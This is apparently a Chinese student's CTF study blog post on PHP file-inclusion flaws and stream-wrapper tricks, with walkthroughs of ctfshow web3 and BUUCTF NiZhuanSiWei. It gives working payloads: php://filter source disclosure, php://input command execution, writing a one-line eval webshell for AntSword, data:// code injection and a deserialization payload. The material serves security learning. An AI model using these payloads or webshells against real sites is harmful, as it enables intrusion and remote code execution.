这个星期浅浅学习了一下用PHP伪协议解决文件包含漏洞的问题,之前做到了好几题文件包含漏洞的题目,感觉用PHP伪协议是解决问题的一种方法,于是就在b站大学学习了一下,发现还是比较好理解的啦
目录
一、文件包含
文件包含漏洞产生的原因
文件包含函数的参数没有经过严格的过滤和定义,可以被控制,包含其他恶意文件,执行非预期的代码。
<?php $filename = $_GET['filename']; include($filename); ?>
文件包含函数
include:在包含过程中出现错误任然会正常运行
include_once:相同的文件只能包含一次
require:在包含过程中出现错误不会正常运行,会报错然后退出
require_once:相同的文件只能包含一次
利用这四个函数来包含文件时,不管文件是什么类型,都会直接作为php文件进行解析。
二、PHP伪协议
file://
通过file协议可以访问本地文件系统,读取到文件的内容
用法:
?a=file://D:\notepad++.exe
?a=file://+绝对路径
php://filter
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取,编码和过滤。
用法:
?a=php://filter/read=convert.base64-encode/resource=index.php(文件路径)
(显示base64加密后的源码)
php://input
用POST传参可以将后面的字符串当作PHP执行或者用于木马写入
用法
?a=php://input
POST:<?php system('ls');?>(命令执行)
?a=php://input
POST:<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[wmm])?>');?>(执行写入一句话木马命令)
示例(ctfshow web3)
用GET传参的方式传参/?url=php://input,然后用bp抓包
1.命令执行
如上图所示用POST传参的方式上传参数,得到文件名,后用/?url=ctf_go_go_go得到flag
2.上传一句话木马
如图所示上传写入一句话木马的命令,后用蚁剑连接,注意URL地址
data://
执行文件的包含方法包含了我的输入流,通过输入的payload来实现目的;
用法
?a=data://text/plain,<?php phpinfo()?>
?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
zip://
这个参数是就是php解压缩包的一个函数,以及解压后要执行的文件名,不管后缀是什么,都会当做压缩包来解压。
用法
?a=zip://D:\AntSword-Loader-v4.0.3-win32-x64.zip%23shell.php
?a=zip://压缩文件的绝对路径%23要执行文件(可以写入一句话木马)
三、相关题目
示例一:BUUCTF NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
审计源码,第一个if要求写入“welcome to the zjctf”,直接text=welcome to the zjctf是不行的,因为源码用了file_get_contents()函数,file_get_contents的作用是将整个文件读入一个字符串,没有text文件,所以我们可以采用伪协议data://或者php://input(注意参数要用POST),得到回显说明成功绕过
?text=data://text/plain,welcome to the zjctf
?text=php://input
POST:welcome to the zjctf
第二个if判断要求有参数里不能有flag,而且提示了useless.php,还有文件包含函数include(),想到文件包含漏洞,采用php://filter显示useless.php源码,构造payload:
file=php://filter/read=convert.base64-encode/resource=useless.php
将回显显示的base64编码解码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
结合源码发现password需要反序列化,因此我们可以通过序列化Flag类来应用其中的file_get_contents()方法
<?php
class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$A=new Flag();
echo serialize($A);
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
payload:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
上传payload查看回显页面得到flag